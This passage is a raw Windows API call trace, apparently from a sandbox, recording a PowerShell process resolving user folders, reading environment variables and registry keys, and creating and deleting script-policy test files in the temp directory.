[7]=0x35))) returned 0x0 [0121.447] CoCreateGuid (in: pguid=0x250451c8a8 | out: pguid=0x250451c8a8*(Data1=0x77d863c, Data2=0x323b, Data3=0x4c2f, Data4=([0]=0x8a, [1]=0x64, [2]=0x43, [3]=0x67, [4]=0xa, [5]=0xb, [6]=0x59, [7]=0xd))) returned 0x0 [0122.304] GetLogicalDrives () returned 0x4 [0122.304] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0122.304] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0122.307] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0122.307] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0122.307] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0122.308] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1cbd873d080 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0122.313] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2979f20 [0122.313] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1cbf2979f20, nSize=0x104 | out: lpBuffer="") returned 0x0 [0122.313] CoTaskMemFree (pv=0x1cbf2979f20) [0122.314] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf29785a0 [0122.314] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1cbf29785a0, nSize=0x104 | out: lpBuffer="뮮翹") returned 0x0 [0122.315] CoTaskMemFree (pv=0x1cbf29785a0) [0122.315] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2976a00 [0122.315] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1cbf2976a00, nSize=0x104 | out: lpBuffer="뮮翹") returned 0x0 [0122.315] CoTaskMemFree (pv=0x1cbf2976a00) [0122.327] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2977280 [0122.327] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1cbf2977280, nSize=0x104 | out: lpBuffer="") returned 0x0 [0122.327] CoTaskMemFree (pv=0x1cbf2977280) [0122.435] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents" (normalized: "c:\\users\\fd1hvy\\documents")) returned 0x11 [0122.451] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0122.451] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0122.452] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0122.452] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0122.452] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0122.452] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0122.453] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy")) returned 0x10 [0122.453] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy")) returned 0x10 [0122.453] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x10 [0122.453] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x10, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy", lpFilePart=0x0) returned 0xf [0122.453] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents" (normalized: "c:\\users\\fd1hvy\\documents")) returned 0x11 [0122.453] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents" (normalized: "c:\\users\\fd1hvy\\documents")) returned 0x11 [0122.453] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0122.453] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0122.463] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents" (normalized: "c:\\users\\fd1hvy\\documents")) returned 0x11 [0122.515] ReportEventW (hEventLog=0x1cbf2be0008, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x1cbda928fa0*="Available", lpRawData=0x1cbda928e08) returned 1 [0122.530] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2977060 [0122.530] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x1cbf2977060, nSize=0x104 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0122.530] CoTaskMemFree (pv=0x1cbf2977060) [0122.531] GetCurrentProcessId () returned 0x6d0 [0122.532] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451d6e8 | out: phkResult=0x250451d6e8*=0x66c) returned 0x0 [0122.532] RegQueryValueExW (in: hKey=0x66c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250451d738, lpData=0x0, lpcbData=0x250451d730*=0x0 | out: lpType=0x250451d738*=0x1, lpData=0x0, lpcbData=0x250451d730*=0x56) returned 0x0 [0122.533] RegQueryValueExW (in: hKey=0x66c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250451d738, lpData=0x1cbda935ff8, lpcbData=0x250451d730*=0x56 | out: lpType=0x250451d738*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250451d730*=0x56) returned 0x0 [0122.533] RegCloseKey (hKey=0x66c) returned 0x0 [0123.207] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1cbd873d080 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0123.214] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents" (normalized: "c:\\users\\fd1hvy\\documents")) returned 0x11 [0123.215] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0123.215] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0123.216] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0123.216] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0123.216] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0123.216] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0123.216] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy")) returned 0x10 [0123.216] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy")) returned 0x10 [0123.216] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x10 [0123.216] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x10, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy", lpFilePart=0x0) returned 0xf [0123.216] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents" (normalized: "c:\\users\\fd1hvy\\documents")) returned 0x11 [0123.217] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents" (normalized: "c:\\users\\fd1hvy\\documents")) returned 0x11 [0123.217] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0123.217] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0123.218] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents" (normalized: "c:\\users\\fd1hvy\\documents")) returned 0x11 [0123.789] EtwEventRegister () returned 0x0 [0123.789] EtwEventSetInformation () returned 0x0 [0123.790] EnumerateTraceGuidsEx () returned 0x0 [0123.791] GetCurrentProcessId () returned 0x6d0 [0123.796] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Winevt\\Publishers\\{816ebd75-f7ab-59c0-e2f0-bddfeed66ac2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451b918 | out: phkResult=0x250451b918*=0x0) returned 0x2 [0123.820] GetCurrentProcessId () returned 0x6d0 [0124.179] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2979ae0 [0124.179] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1cbf2979ae0, nSize=0x104 | out: lpBuffer="") returned 0x0 [0124.180] CoTaskMemFree (pv=0x1cbf2979ae0) [0124.934] EtwEventWriteTransfer () returned 0x0 [0124.935] GetCurrentProcessId () returned 0x6d0 [0124.935] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x6d0) returned 0x5d8 [0124.935] GetProcessTimes (in: hProcess=0x5d8, lpCreationTime=0x1cbda9a3ec0, lpExitTime=0x1cbda9a3ec8, lpKernelTime=0x1cbda9a3ed0, lpUserTime=0x1cbda9a3ed8 | out: lpCreationTime=0x1cbda9a3ec0, lpExitTime=0x1cbda9a3ec8, lpKernelTime=0x1cbda9a3ed0, lpUserTime=0x1cbda9a3ed8) returned 1 [0124.935] CloseHandle (hObject=0x5d8) returned 1 [0124.975] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2979ae0 [0124.975] GetSystemDirectoryW (in: lpBuffer=0x1cbf2979ae0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0124.975] CoTaskMemFree (pv=0x1cbf2979ae0) [0124.975] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0124.975] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0124.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250451d6d0) returned 1 [0124.976] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x250451d7b0 | out: lpFileInformation=0x250451d7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5450597b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5450597b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5450597b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x112d0)) returned 1 [0124.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250451d690) returned 1 [0124.985] WldpGetLockdownPolicy () returned 0x10000000 [0124.986] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf29785a0 [0124.987] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1cbf29785a0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23 [0124.987] CoTaskMemFree (pv=0x1cbf29785a0) [0124.987] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0124.987] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x24, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0124.987] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0124.987] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", nBufferLength=0x24, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x23 [0124.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250451d6a0) returned 1 [0124.987] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp"), fInfoLevelId=0x0, lpFileInformation=0x250451d780 | out: lpFileInformation=0x250451d780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe06fd4df, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe06fd4df, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0124.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250451d660) returned 1 [0125.002] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_h5bhifgv.f40.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0125.002] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_h5bhifgv.f40.ps1", nBufferLength=0x49, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_h5bhifgv.f40.ps1", lpFilePart=0x0) returned 0x48 [0125.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250451d4e0) returned 1 [0125.002] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_h5bhifgv.f40.ps1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_h5bhifgv.f40.ps1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x674 [0125.003] GetFileType (hFile=0x674) returned 0x1 [0125.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250451d450) returned 1 [0125.003] GetFileType (hFile=0x674) returned 0x1 [0125.019] WriteFile (in: hFile=0x674, lpBuffer=0x1cbda9a6e68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x250451d548, lpOverlapped=0x0 | out: lpBuffer=0x1cbda9a6e68*, lpNumberOfBytesWritten=0x250451d548*=0x1, lpOverlapped=0x0) returned 1 [0125.020] CloseHandle (hObject=0x674) returned 1 [0125.022] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bp5c4duz.ro0.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0125.022] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bp5c4duz.ro0.psm1", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bp5c4duz.ro0.psm1", lpFilePart=0x0) returned 0x49 [0125.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250451d4e0) returned 1 [0125.022] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bp5c4duz.ro0.psm1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_bp5c4duz.ro0.psm1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x674 [0125.023] GetFileType (hFile=0x674) returned 0x1 [0125.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250451d450) returned 1 [0125.023] GetFileType (hFile=0x674) returned 0x1 [0125.023] WriteFile (in: hFile=0x674, lpBuffer=0x1cbda9a9470*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x250451d548, lpOverlapped=0x0 | out: lpBuffer=0x1cbda9a9470*, lpNumberOfBytesWritten=0x250451d548*=0x1, lpOverlapped=0x0) returned 1 [0125.024] CloseHandle (hObject=0x674) returned 1 [0125.025] CoTaskMemAlloc (cb=0x92) returned 0x1cbf299d610 [0125.026] IdentifyCodeAuthzLevelW () returned 0x1 [0125.037] CoTaskMemFree (pv=0x1cbf299d610) [0125.038] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0125.038] CloseCodeAuthzLevel () returned 0x1 [0125.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_h5bhifgv.f40.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0125.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_h5bhifgv.f40.ps1", nBufferLength=0x49, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_h5bhifgv.f40.ps1", lpFilePart=0x0) returned 0x48 [0125.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250451d670) returned 1 [0125.038] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_h5bhifgv.f40.ps1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_h5bhifgv.f40.ps1"), fInfoLevelId=0x0, lpFileInformation=0x250451d750 | out: lpFileInformation=0x250451d750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdb1bcbe, ftCreationTime.dwHighDateTime=0x1d69a98, ftLastAccessTime.dwLowDateTime=0xfdb1bcbe, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xfdb6808b, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x1)) returned 1 [0125.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250451d630) returned 1 [0125.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_h5bhifgv.f40.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0125.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_h5bhifgv.f40.ps1", nBufferLength=0x49, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_h5bhifgv.f40.ps1", lpFilePart=0x0) returned 0x48 [0125.039] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_h5bhifgv.f40.ps1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_h5bhifgv.f40.ps1")) returned 1 [0125.040] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bp5c4duz.ro0.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0125.040] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bp5c4duz.ro0.psm1", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bp5c4duz.ro0.psm1", lpFilePart=0x0) returned 0x49 [0125.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250451d670) returned 1 [0125.040] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bp5c4duz.ro0.psm1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_bp5c4duz.ro0.psm1"), fInfoLevelId=0x0, lpFileInformation=0x250451d750 | out: lpFileInformation=0x250451d750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdb6808b, ftCreationTime.dwHighDateTime=0x1d69a98, ftLastAccessTime.dwLowDateTime=0xfdb6808b, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xfdb6808b, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x1)) returned 1 [0125.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250451d630) returned 1 [0125.040] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bp5c4duz.ro0.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0125.040] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bp5c4duz.ro0.psm1", nBufferLength=0x4a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bp5c4duz.ro0.psm1", lpFilePart=0x0) returned 0x49 [0125.041] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_bp5c4duz.ro0.psm1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_bp5c4duz.ro0.psm1")) returned 1 [0125.042] GetSystemInfo (in: lpSystemInfo=0x250451d820 | out: lpSystemInfo=0x250451d820*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0125.042] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451d728 | out: phkResult=0x250451d728*=0x678) returned 0x0 [0125.043] RegQueryValueExW (in: hKey=0x678, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x250451d778, lpData=0x0, lpcbData=0x250451d770*=0x0 | out: lpType=0x250451d778*=0x0, lpData=0x0, lpcbData=0x250451d770*=0x0) returned 0x2 [0125.043] RegCloseKey (hKey=0x678) returned 0x0 [0125.044] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451d788 | out: phkResult=0x250451d788*=0x678) returned 0x0 [0125.044] RegQueryValueExW (in: hKey=0x678, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250451d7d8, lpData=0x0, lpcbData=0x250451d7d0*=0x0 | out: lpType=0x250451d7d8*=0x1, lpData=0x0, lpcbData=0x250451d7d0*=0x56) returned 0x0 [0125.044] RegQueryValueExW (in: hKey=0x678, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250451d7d8, lpData=0x1cbda9aab70, lpcbData=0x250451d7d0*=0x56 | out: lpType=0x250451d7d8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250451d7d0*=0x56) returned 0x0 [0125.044] RegCloseKey (hKey=0x678) returned 0x0 [0125.044] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451d788 | out: phkResult=0x250451d788*=0x678) returned 0x0 [0125.044] RegQueryValueExW (in: hKey=0x678, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250451d7d8, lpData=0x0, lpcbData=0x250451d7d0*=0x0 | out: lpType=0x250451d7d8*=0x1, lpData=0x0, lpcbData=0x250451d7d0*=0x56) returned 0x0 [0125.044] RegQueryValueExW (in: hKey=0x678, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250451d7d8, lpData=0x1cbda9aaf78, lpcbData=0x250451d7d0*=0x56 | out: lpType=0x250451d7d8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250451d7d0*=0x56) returned 0x0 [0125.044] RegCloseKey (hKey=0x678) returned 0x0 [0125.089] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf29785a0 [0125.089] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1cbf29785a0 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0125.089] CoTaskMemFree (pv=0x1cbf29785a0) [0125.089] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0125.089] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0125.089] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf29785a0 [0125.089] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1cbf29785a0 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0125.089] CoTaskMemFree (pv=0x1cbf29785a0) [0125.089] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0125.089] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0125.092] QueryPerformanceFrequency (in: lpFrequency=0x7ff95bc85028 | out: lpFrequency=0x7ff95bc85028*=100000000) returned 1 [0125.092] QueryPerformanceCounter (in: lpPerformanceCount=0x250451d938 | out: 